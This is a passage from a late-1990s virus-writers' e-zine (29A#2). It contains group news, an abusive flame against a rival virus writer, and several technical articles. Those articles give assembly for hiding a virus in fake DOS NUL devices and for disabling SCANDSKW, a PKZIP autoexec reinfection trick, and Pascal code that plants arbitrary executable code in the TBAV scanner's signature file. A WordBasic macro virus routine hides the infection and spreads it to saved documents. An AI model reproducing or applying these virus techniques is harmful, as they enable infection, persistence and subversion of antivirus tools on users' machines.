Sepultura's departure ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Shortly after the release of IR#8 Sepultura, our main organizer and backbone of IR/G decided to leave the scene altogether. I do miss his programming skills that I don't have. Although I don't blame him, his departure was in my eyes the beginning of the end of IR/G as I know it. I hereby want to thank him for all the things he has done for me and for IR/G.

No backbone ÄÄÄÄÄÄÄÄÄÄÄ With the departure of Sepultura we also lost our talent to organise. Without this backbone, we weren't able to bring out any magazine after IR#8. We tried to find another person in our group with the ability and will to organise, yet we couldn't find/trick someone into taking that task upon him. Without any organisation, a group cannot be in my view.

Hate to code ÄÄÄÄÄÄÄÄÄÄÄÄ Not being motivated very much, I found myself unable to program very much. My time being consumed by college I had a little time to research virus-related issues. All I could do is think of nice tricks, program them and comment them a bit, but I could not find the heart to make a total virus for it. This left me with a huge pack of tricks, which I haven't used in viruses yet. Eventually I hope I can find the motivation and time to put all these tricks together in one big virus, which will probably be my last virus I will make. This is not caused by a lack of interest, and of course I will stay in the scene trying to think of new tricks and innovate ideas.

Prologue ÄÄÄÄÄÄÄÄ Due to the circumstances and the overall quality of the viruses produced by IR/G I think it suits me and them best that I leave the group and continue the path of virus writing on myself, contributing things to various groups. I hope that the other people in IR/G won't be mad about my decision to leave them. I wish them all the best, and hereby my promise that this is not the last time they will hear from me.

Thanks ÄÄÄÄÄÄ Given the opportunity here I would like to thank quite a few people who have supported me in the past and hopefully will stay to do so in the future. The Unforgiven, for his many email conversations, excellent ideas on human nature and beliefs, and, most importantly his friendship during the time. I hope I will be able to meet you sometime. Rogue, for showing his excellent

code examples, although I've never witnessed any program of him finished in the wild, save for one. Most probably a badass to other but a friend to me. Mister Sandman, to whom I gave this article in order to publish it in their second magazine (they beat us *grin*). Sepultura, for his organising skills and trying to keep the whole lot together. I could thank a lot more people, but I think that I must keep it short, because nobody is interested in it save for the people who are actually thanked.

And now talking Rajaat / 29A...

Last update ÄÄÄÄÄÄÄÄÄÄÄ It sure looks like that when I write some article, it always seems to get outdated when magazines don't get released as quickly as anticipated (sorry folks, couldn't resist joking about it). But since the time I wrote the upper a few things happened. You probably have read now somewhere in this magazine that I've become a member of 29A! My hate to code went away but that doesn't mean I've plenty of times to code, but I'll do my best and see what I can have in store for you.

What the hell am I up to? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To be honest, I don't know. I have here about 5 unfinished programming projects I should finish soon, and I hope I will have the time at my disposal for finishing them. Anyway, I'm proud to be a 29Aer and I hope I can keep up the group's high standard of virus coding.

And how about Immortal Riot? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I wish I knew, I think the best thing my friend The Unforgiven and his comrades can do is split from Genesis again (in my eyes it's history) and go on their own again, should they feel like coding again. I hope that you, the reader, will once again witness the excellent magazines of our "hj„ltar i sn”n" (heroes in the snow).

Rajaat / 29A

Envy makes dorks resuscitate ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A It has passed one year or so since IRG#8 (actually IRG#1, but many people seem to think with their ass) was released. And happily that's the last time we had the chance to hear about a pampered child whose protagonism and egocentrism desire reached its real highlight. You know who he is. He retired because he "did not have enough time to keep on leading IRG", as school sucked most of his free time. Well... for a long time we were almost forced to swallow his childish attitude, his deic-wannabe behavior, and his lots of attempts to suck the whole attention everytime, everywhere (haven't you ever hated to read his stupid introductions to somebody else's articles published in IRG#8?). And we had to read BULLSHIT like this from him: - - - - - - - - - - - - - - - - - - - [...] The magazine is about 1.4 meg, of articles. Unlike some 'virus' magazines / music files to impress. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 which about 99% of which is actual we dont need 500k viewers / intros - - - - - - - - - - - - - - - - ->8

A pretty modest boy, heh??? but that's not all. Besides this, we all in the virus scene had to stand him claiming "IRG#8 is the best zine about viruses ever released", being that a real offense to VLAD and the great work they did during their presence in the scene. Now it is when we all realise about why this boy i'm talking about is so "well appreciated" among most of the mentally sane and concious-of-what-they-say virus writers. Fortunately he retired and left the scene. IRG died. And we all lived much better since that happened, as we had to stand no longer any motherfucking candy eater telling us shit about how cool he was. While he was comfortably pulling himself home, we all were happily having a good run of things in the virus scene. In fact everything was going almost perfect. But you know perfection does not exist. And that's why he briefly reappeared by june/july of this year, using other nick and apparently trying to hide his previous identity, and to dazzle the scene with a new virus he had written. This virus was released via IRC (as far as i know) within a ZIP file which contained, among others, a text file called "readme.1st", which started this way: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 [...] % Important % _____________ I do not give permission to anyone to publish this virus in their Vx zine. This means the fools who published the source to Zhengxi, 6 months after it was made publicly available, and kept rambling on about they were the zine to release the source.. they know who they are. Also, ugly children are not permitted to read this text. [...] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 It's a pretty curious thing to see what may ENVY drive people to do. Well, it is obviously about us, 29A, who published the original source code of Zhengxi in 29A#1, in december 1996. That's why i decided to use this section of the magazine to reply such a stupid quote. So keep on reading my

answer for the child, same as if it were an e-mail reply: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ From : Mister Sandman/29A, <mrsandman@cryogen.com> ³ ³ To : The Soul Manager (previously known as *********), <***@***.***> ³ ³ About: Your big mouth ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Hi fool. > I do not give permission to anyone to publish this virus in their Vx zine Do you think i'd ever publish anything from you in 29A? not in this life... > This means the fools who published the source to Zhengxi, 6 months after > it was made publicly available, and kept rambling on about they were the > zine to release the source.. You mean the same ones who kicked your ass? ah, yeh, it's us... well, i don't really mind a shit what you think or don't, but i'll try to make things clear for the rest of the people who are reading this. Zhengxi was first publically released in june 1996, but only in its binary form. And it was only a few weeks before 29A#1 was released, in december 1996, when some fortunate VXers could get the original source code for it, and that's what we eventually published, with the agreement of its author, as at that time Zhengxi was so far the most asked virus in the scene. And that's why we say we were the first zine to release the source, as it is the only truth. No one else did it before. Maybe this reaction is the consequence of a frustrated attempt to be you and your group the first ones to publish it, heh? > they know who they are. In fact we even know who you are, despite your intention to hide yourself under a new nick (The Soul Manager) and then talk shit about us, instead of encouraging yourself to say what you think with your original nick. Pathetic. With Zhengxi or without it, you're still dead and i'm still Elvis.

Mister Sandman, chew my success. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 I would finally like to add a brief text in latin, the language which gives (actually gave) his nick to the dork i'm talking about, to describe what he exactly makes me think and the way i feel every time i hear about him. Those who can speak/translate latin will surely enjoy it a lot.

"Qvotienscvmqve tvvm cognomen avdio navseas sentio, qvotienscvmque tvos viros lego vomire volo, et vomiam ac mingam ac concvlcabo sepvltvra tva, qvod ipsa sicvt cognomen tibi fvit, atqve in ea reqviesces... cvm moriaris... si reapse aliqvando vixisti".

Despite my initial intentions, i was about to forget about publishing this article, so it would not stand between the friendship of one of the VXers i admire most, now a 29A member, and the "guy" this article is all about, but the thing went suddenly fixed, as soon as i had noticed about the fact that the infamous "Soul Manager" had broken his... friendship?, with this friend of mine just because he'd joined 29A. Pretty curious meaning of friendship. It would be very easy to be ok in the VX side, among us all (not as between AVers, because they have economy standing between their interests and them) in the virus scene, but it seems that many people don't want it to be so. Oh, and... he's giving out all his shit as he's now changing his nick again so keep your eyes open and watch any dork you meet out. Fuck drugs off and get your rage in your ass, idiot.

Mister Sandman, bring me a dream.

Article separator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A What is this article used for? answer is nothing. Its functionallity is merely esthetical, as it keeps the articles separated of the executable files of the magazine. So why am i writing anything here? well, there are still a few thingies which haven't been told in the rest of the articles and result kinda interesting or funny to read. For instance, do you know that: 666 * 3 = 1998? it seems like this is gonna be a magic year for the VX side. Will AVers die? will they be satanized? or will they maybe get medieval in their asses? who knows :) Other thing you should note is the fact that we have not included any virus index in this issue. It seemed to us pretty stupid as they are described in detail both in their corresponding source and in the "29A Labs", our website... describing them one more time would be a pain. There are also one couple thingies pending... the password for the secret area of our previous issue was "29akewl". We accept no complains, we didn't have much imagination at that time and were quite hurried, so... :P The other pending thing is the importance of the new features of our improved file browser. Now it is possible to load it with or without mouse, with or without intro, and so on. And once loaded, when reading any article, you will be able to choose between smooth or hard scroll. Now it is also possible to run the payload of any virus included in our zine when having loaded its source code from within the file browser. It is still possible, btw, to UUdecode binary files, albeit we have not implemented this feature yet. And finally, the screen saver can be loaded now just by pressing a hot-key. And note this is a DOS application, so we don't make responsible of the way it may work under *your* Windows95. At least under ours it works ok.

Optional parameters to 29A#2.EXE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i........... Don't load intro (argh!) m........... Enable mouse inside browser s........... Disable smooth scroll

File browser internal commands ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ #........... Activate screensaver b........... Activate boss screen g........... Run payload (if available) s........... Dis/able smooth scroll u........... UUdecode binary (i/a) F1.......... Further help (lame!)

Wish us some happy VX holidays and enjoy the zine!

Mister Sandman, bring me a dream.

Playing "Hide and Seek" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> "Q" the Misanthrope It is a game of one-up-man-ship between the VX and the AV community. VX seems to be winning this battle but is also forcing new improvements. VX creates virus. AV creates scan strings. VX creates mutation. AV creates smart detectors. VX creates stealth. AV counters that with direct access. VX creates tunneling. AV stops that. VX creates tracing. AV stumbles. VX creates retro. AV stumbles. VX creates Stop AV from memory scanning. AV stumbles. VX creates macro viruses. AV goes nuts. VX creates new places to hide from AV. AV will probably stumble again.

Hide in NUL-Space ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Wouldn't it be great to hide in a file that could not be accessed. You can. There are little things called device drivers in your PC. COM1, COM2, LPT1 and CON are examples. NUL is also a device that serves little purpose except do nothing. An example of this: COPY *.* NUL will read all the files for errors and copy them into NUL-Space (nowhere). Try to create a file by the name of NUL, what could you do with it? An experiment is necessary. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 c:\>debug -a mov ah,52 int 21 int 3 -g AX=5200 BX=0026 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0C9C ES=00C9 SS=0C9C CS=0C9C IP=0104 NV UP EI PL NZ NA PO NC 0C9C:0104 CC INT 3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ES:BX points to the DOS list of lists. From Ralf Browns interrupt list: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Format of List of Lists: Offset Size Description 00h DWORD pointer to first Drive Parameter Block 04h DWORD -> first System File Table 08h DWORD pointer to active CLOCK$ device's header [...] 22h 18 BYTEs actual NUL device driver header (not a pointer!) NUL is always the first device on DOS's linked list of device drivers - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ES:BX+22h is what is of interest. Back to debug. - - - - - - - - - - - - - - - - - - -d es:48l12 00C9:0040 00 00C9:0050 CD 0D 4E 55 4C 20 20 20-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 00 A6 C9 04 80 C7 0D ........ 20 ..NUL - - - - - - - - - - - - - - - - - ->8

See the word NUL at es:bx+2Ch. Lets change it to AUTOEXEC. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 -e es:52 "AUTOEXEC"

-q - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Back to DOS. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 c:\>type c:\autoexec.bat c:\>ren c:\autoexec.bat test.bat Path not found c:\>del c:\autoexec.bat Access denied - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Notice what happened when AUTOEXEC.BAT was in NUL-Space. It could not be read, renamed or deleted. Wouldn't this be a great way to protect our virus. Ralf Browns list showed that the actual NUL device was only 18 bytes long. Could you just make another 18 byte NUL device by another name? The answer is YES! Here is the device format from Ralf Brown: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Format of DOS device driver header: Offset Size Description 00h DWORD pointer to next driver, offset=FFFFh if last driver 04h WORD device attributes (see below) 06h WORD device strategy entry point call with ES:BX -> request header 08h WORD device interrupt entry point 0Ah 8 BYTEs blank-padded character device name Bitfields for device attributes: Bit(s) Description 15 set (indicates character device) 14 IOCTL supported 13 (DOS 3.0+) output until busy supported 12 reserved 11 (DOS 3.0+) OPEN/CLOSE/RemMedia calls supported 10-8 reserved 7 (DOS 5.0+) Generic IOCTL check call supported 6 (DOS 3.2+) Generic IOCTL call supported 5 reserved 4 device is special (use INT 29 "fast console output") 3 device is CLOCK$ 2 device is NUL 1 device is standard output 0 device is standard input - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 From the debug experiment: - - - - - - - - - - - - - - - - - - -d es:48l12 00C9:0040 00 00C9:0050 CD 0D 4E 55 4C 20 20 20-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 00 A6 C9 04 80 C7 0D ........ 20 ..NUL - - - - - - - - - - - - - - - - - ->8

We see that the next device in the chain is at C9A6:0000h, attributes are 8004h and that the strategy and interrupt entry points are 00C9:0DC7h and 00C9:0DCDh. The strategy and interrupt points for a NUL device just need to point to a RETF (they really could point anywhere since they are not used). To make our own NUL device we can do something like this:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 [...] mov ah,52h ;get list of lists int 21h cld ;get address of next device in ds:si lds si,dword ptr es:[bx+22h] push cs ;point to our device pop es mov di,offset virus_device movsw ;copy device chain to our device movsw ;then hook in our device mov word ptr ds:[si-02h],cs mov word ptr ds:[si-04h],offset virus_device [...] virus_device dd -1h dw 8004h ;NUL character attributes dw return_far ;strategy pointer dw return_far ;interrupt pointer db "VIRUS " ;any file name your want in NUL-Space [...] return_far: retf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 When your virus starts, have your virus create a first generation virus whose host is the standard CD 20 (terminate immediately) before it starts infecting. Name that virus C:\FDGDIKGA.PKB (pseudo random name and extension but should be same for all infections on that PC). This name could be derived from the drive C: serial number: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 [...] mov ax,6900h ;get drive serial number mov bx,0003h ;drive C: push cs pop ds mov dx,offset info ;point to where serial number will be int 21h ;create file name from the drive C: serial number cld mov si,offset serialnumber mov di,offset device_name mov cx,0004h ;loop 4 times get_serial: lodsb ;get start of serial number push cx mov cl,04h ;inner loop 4 times make_file: sub al,cl ror al,cl ;pseudo random letter mov bl,al and bl,0fh add bl,"A" ;create letter from A to P mov byte ptr ds:[di],bl inc di ;save it and move pointer loop make_file pop cx loop get_serial mov byte ptr ds:[file_dot],"." ;restore dot mov byte ptr ds:[asciz_nul],00h ;restore nul mov dx,offset file_name ;now create virus by name at DS:DX [...] info dw 0 serialnumber dd 0 ;drive C: serial number

db file_name db device_name db file_dot db asciz_nul db - - - - - - - - - - - -

19 dup(0) "C:\" "VIRUS000" ".000" 00h,00h,00h - - - - - - - -

;misc junk ;pseudo virus name goes here ;with pseudo extension - - - - - - - - - - - - - - - - ->8

Hide it with the System and Hidden attribute, maybe even Read-Only. Now create a NUL device by the name of FDGDIKGA (same as pseudo random file name). Add this line to CONFIG.SYS: INSTALL=C:\FDGDIKGA.PKB Now start infecting. Go memory resident (you really only need to have the 18 bytes of your NUL device resident). What will now happen is magic. When the PC reboots there will load a program that doesn't have an executable extension so most AV programs won't even try to scan it. If they do they won't be able to read it or delete it because it is in NUL-Space. The AV people will be able to add the scan string for your virus and remove all the children created by it but they will not get the virus in NUL-Space. It will continue to infect again and again. Maybe only have it infect on Fridays or on the 13th of each month so it will appear that the virus has gone away but later it magically returns.

Hiding in NUL-Space and Windows 95 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It works just fine with one notable exception; SCANDSKW.EXE that is automatically launched by the System Agent detects that there is a device by the same name as a file and will flag it. The solution is simple. Create another NUL device by the name of SCANDSKW. This stops SCANDSKW from working but doesn't flag an error. Note: when going resident with the 18 byte NUL device, you might want put it in the same location as the AUX device. This device is never ever sed and is just wasting space. AUX is another name for COM1. PRN could used but some older programs actually use it. LPT3's 18 bytes also could used. The way to find the AUX device is to search the device chain: to ube be

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ah,52h ;get list of lists int 21h add bx,22h ;point to NUL device check_end: cmp word ptr es:[bx],-1 ;end of chain? je end_chain cmp word ptr es:[bx+0ah],"UA" jne next_device ;Look for "AUX " cmp word ptr es:[bx+0ch]," X" jne next_device [...] ;found AUX device at ES:BX change the name at ES:BX+0Ah to whatever you want [...] mov word ptr es:[bx+04h],8004h ;set NUL device jmp short end_chain next_device: les bx,dword ptr es:[bx] ;get next device in chain jmp short check_end end_chain: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 To see the power of NUL-Space, try this in Windows 95: md\"NUL It locks the computer completely up. ".

Hide in Cypher Text ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PkZip has the ability to password protect ZIP files. This our advantage. Have the virus run this:

can be used to

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 PKZIP -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 And add this to the AUTOEXEC.BAT: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 @ECHO OFF PKUNZIP -O -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This will allow multiple reinfections but the source will not be found with a virus scanner because it will not be able to expand the ZIP file. If this is over your head, save it and come ter. Have fun in NUL-Space. Dear AV community, You are in check! It is now your move. back to it when you are smar-

"Q" the Misanthrope

TBSCAN.SIG infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Malware TBAV uses so called AVRs in order to add detection routines for catching polymorphic viruses that avoid its generic decryption engine. Such an AVR is just native code which is loaded and... executed! by TbScan, and is stored along with the virus signatures in the signature file TBSCAN.SIG. This signature file begins with a 128-byte-long header, in which we can find the amount of 16-byte-long blocks (paragraphs) needed by the AVRs at offset 70h, stored as a word (2 bytes). At offset 72h is stored the overall size of the virus signatures, as a doubleword. That's all we need to know about the TBSCAN.SIG header in order to trojanize or infect it. The AVRs are located just after the above contents in the file, and this is the place where our virus or trojan has to be inserted. Since i do not know all the specifications of it, we can just take what is already there and modify it so there will be enough space for the new AVR code. Each AVR has a 16-byte-long header. The word at offset 0ch of this AVR header holds the size of the AVR code, including its header size. Just after this header, the AVR code (wich we'll describe later) follows. And after this code we can find the virus name in ASCIIZ format. The virus name size (including the ending 0) is stored in a byte at offset 0ah of the AVR header. The total size (header+code+name) is stored as well in a word at offset 0eh in the header. Finally, the AVR code and the virus name are encrypted by a bytewise xor with 44h. IAVR, the program included below, does all this stuff so you can insert any code you want as an AVR in your TBSCAN.SIG file. You just have to call it 'IAVR filename_of_AVR_code'. If you don't specify any filename, IAVR will keep on waiting for you to type in the AVR code. Then, after it has read the code, IAVR will prompt for the virus name your AVR has to be associated with. The new signature file will then be written to a new file whose name will be TBS.SIG. And now, before including my program IAVR, let's have a look at the format of any AVR code. It's a quite simply relocateable code. If it returns a carry flag, it's telling TbScan that the virus was found. The AVR code has to be ended with a retf instruction. The rest is just normal code, so you can program as usual and insert anything you want there. This is an example of an AVR which triggers all the files as infected: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 model tiny .code org 100h start: stc retf end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 And finally, the Pascal source of my IAVR program, which is able to add any AVR to TBSCAN.SIG, writing the resulting file as TBS.SIG. You can find the compiled executable version of this program in the \FILES directory of this issue of 29A. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 uses Crt; const Name : String = 'Default_Virus';

type PWord = ^Word; var F1,F2,F3 : File; ML,L,i,BP1 : word; OP,Size_ : LongInt; Buffer : Array[0..$2000] of Byte; begin Size_:=0; assign(F1,'tbscan.sig'); Reset(f1,1); assign(F2,'tbs.sig'); rewrite(f2,1); assign(F3,ParamStr(1)); reset(F3,1); blockread(F1,Buffer,$80); blockwrite(F2,Buffer,$80); blockread(f1,buffer,$1fff); blockread(f3,buffer[$10],$2000,L); L:=L+$10; Buffer[$0c]:=L and $FF; Buffer[$0d]:=L div $100; Write('Name :'); Readln(Name);

{ { { { { { { { {

open original signature file create new signature file open file with code to insert read header of signature file and simply write it to new one read first 1FFF byte of orig. read upto 2000 byte of code add size of header for AVR write header size into buffer

} } } } } } } } }

{ ask for a name for the virus } { thats detected by the new AVR } For i:=1 to Ord(Name[0]) do Buffer[L+I-1]:=Ord(Name[i]); { write it into buffer } Buffer[L+Ord(Name[0])]:=0; { and end it with a zero } L:=L+Ord(Name[0])+1; { add length of name to size } Buffer[$0a]:=Ord(name[0])+1; { store length of name } Buffer[$0e]:=L and $FF; { and full length of AVR } Buffer[$0f]:=L div $100; for i:=$10 to L do Buffer[I]:=Buffer[I] XOR $44; { encrypt the new AVR } blockwrite(f2,buffer,L); { and write it to new sig.-file } ML:=L; seek(f1,$80); { seek back to top of original } { AVRS } { now write the rest of the original signature file to the new one } L:=$2000; While L=$2000 do Begin BlockRead(F1,Buffer,L,L); BlockWrite(F2,Buffer,L); End; Seek(F2,$80); Repeat OP:=FilePos(f2); blockread(f2,buffer,$1fff); if Buffer[1]=$FF then begin { begin right after header again }

{ save position we have in file } { read a bit from file } { is it an cotrol entry ? } { yes, is control entry } for i:=$10 to Buffer[$0e]+word(buffer[$0f])*256 do Buffer[I]:=Buffer[I] XOR $44; { decrypt it } i:=Buffer[$0c]+word(buffer[$0d])*256; { ??? } OP:=OP+Buffer[$0e]+word(buffer[$0f])*256; { add size of entry to position } { in file } Size_ := Size_ + Buffer[$0e]+word(buffer[$0f])*256; { summarize all sizes } Seek(F2,OP); { seek to position after entry } end; Until Eof(F2) or ( Buffer[1]<>$FF ); If Not( Eof(F2) ) then Begin BP1 := 0; { now the signatures }

{ repeat until end of this } { signature-block } Size_ := Size_ + Buffer[BP1+8] + Buffer [BP1+7] + 10; { add size of entry } BP1:=Buffer[BP1+8]+$A+BP1+Buffer[BP1+7]; { here too } if BP1>=$1E00 then begin { we need a new part of file to } { read sometimes } Seek(F2,OP+LongInt(BP1)); OP:=OP+LongInt(Bp1); BlockRead(F2,Buffer,$2000); BP1:=0; end; end; Size_ := Size_ + $81; { somehow 129 byte was missed } Seek(F2,$70); BlockRead(F2,Buffer,6); { read 6 byte from offset $70 } Seek(F2,$70); PWord(@Buffer[0])^:=PWord(@Buffer[0])^ + ( (ML+15) DIV 16) ; { add para size of new AVR code } Buffer[2]:=Size_ and $FF; { writew new size of signatures } Buffer[3]:=( Size_ SHR 8 ) and $FF; Buffer[4]:=( Size_ SHR 16 ) and $FF; Buffer[5]:=( Size_ SHR 24 ) and $FF; BlockWrite(F2,Buffer,6); { write the 6 byte back to file } End; Close(F1); Close(F2); Close(F3); end. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Malware

while (Buffer[BP1]<>0) do begin

Macro virus trickz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Jacky Qwerty/29A This article is not intended to be a tutorial for macro virus writin. It simply states some common problemz and known limitationz with actual macro virii, then sugests solutionz and provides some code examplez for them. The reader should be already familiar with some of the conceptz surroundin macro virii stuff. If not, i sugest to read first a "real" tutorial about the subject and then jump back to this article.

Index ÄÄÄÄÄ 1. Introduction 2. The "SaveAs" problem 2.1. The "SaveAs" solution 2.2. The "SaveAs" example 3. The "MultiLanguage suport" problem 3.1. The "MultiLanguage suport" solution 3.2. The "MultiLanguage suport" example 4. Final Note 5. Disclaimer

1. Introduction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ One day while i was surfin the Web, unexpectedly found a couple of linkz containin Word macro virii stuff. After havin programed some DOS virii and researched about PE infection, one has to admit that the idea of a virus writen in WordBasic or VBA... mmm... well, sounds a bit stupid >8P (DS1, NJ: dont get mad... >8D) Indeed, macro virii seem stupid once u write one, but at that moment i had written none. After i downloaded and played with some of them, i actually understood not only how stupid macro virii were, but also Microsoft programerz. They're all clueless on what *security* means :)

2. The "SaveAs" problem ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Just when i started to write my own macro virus, my atention was caught by an interestin mesage posted to alt.comp.virus. The topic was about that typical nuisance with macro virii that reveals their presence: the "SaveAs" problem. As i had thought, it was posible to overcome this, and that mesage from an expert AVer (well ehem) had just confirmed it. The "SaveAs" problem occurs when u try to save any infected document with another name usin the "FileSaveAs" command. After the "SaveAs" dialog box appears, u cant change the drive, nor the directory path, nor the format type. Word always saves your document in the "templatez" directory, unablin u to change it. This is bad for the common clueless user and bad for the virus too, as it reveals its presence by tellin him somethin is wrong. It also reduces its chancez to spread coz now the user cant take home his (infected) document as long as Word doesnt let him save documentz to his floppy disk, due to the "SaveAs" problem. I have thought of diferent wayz to overcome this, however i'll discuss the method i actually implemented in my WM.CAP virus.

2.1. The "SaveAs" solution

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ How do we solve this problem then? easy, very easy once we understand what an infected document really is. We cant forget that an infected document is really a "template", that why Word doesnt let us change the drive, nor the directory path, nor the format type. Becoz its a "template" and templatez belong to the templatez directory! Ok, but what if we make Word think that the infected document, sorry i meant the infected "template", is a genuine Word document? this would allow the user to select the drive, path and any type for the document! right? right! but how? Easy again, once we understand why Word provides "templatez": to make user's life easier by creatin documentz based on such templatez, got it? All we have to do is create a new document based on our active infected template! in other wordz we have to "emulate" the "SaveAs" function as if Word were saving a genuine document. Lets write some code to ilustrate.

2.2. The "SaveAs" example ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub FileSaveAs On Error Goto endFileSaveAs Dim dlg As FileSaveAs GetCurValues dlg If dlg.Format <> 1 Then Dialog dlg FileSaveAs dlg Infect(dlg.Name) Else TempWindow = Window() OriginalName$ = dlg.Name FileNew .Template = FileName$() On Error Goto CloseDoc GetCurValues dlg dlg.Name = OriginalName$ Dialog dlg FileSaveAs dlg On Error Goto endFileSaveAs Infect(dlg.Name) If TempWindow >= Window() TempWindow = TempWindow + 1 EndIf WindowList TempWindow CloseDoc: FileClose 2 End If endFileSaveAs: End Sub ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' Our "FileSaveAs" macro Declare dlg as FileSaveAs dialog box Get current values into dlg Not a template? (i.e. not infected?) No, a clean document, show box Save the new document Infect it! go! It's a template (i.e. it's infected) Get current window (template) Get original document name Create new doc based on template! Now on: if any error close new doc Get current values for new doc Change doc name for original one Ok, show FileSaveAs dialog box Save the new document Now on: if any error just go Ok, infect new document Get old template window number Make it the active window Close it without promptin We're done! "SaveAs" problem fixed!

The trick here is that the "FileSaveAs" subroutine behaves diferently acordin to the object bein saved. If the object is a genuine Word document (i.e. not infected), the routine simply shows the "SaveAs" dialog box and tries to infect it afterwardz. If the object bein saved is a "template" (i.e. perhaps an infected document) then the routine first creates a new document based on that active template (which is actually the infected document itself) and then shows the "SaveAs" dialog box from this newly created clean document. This time Word allows to choose the format type, drive letter and directory namez. After the user chooses the document name and saves it, the routine simply infects the document, swaps to the window containin the old template (i.e. the old infected document) and finally closes it leavin open the new "Saved-As" document just as Word itself does.

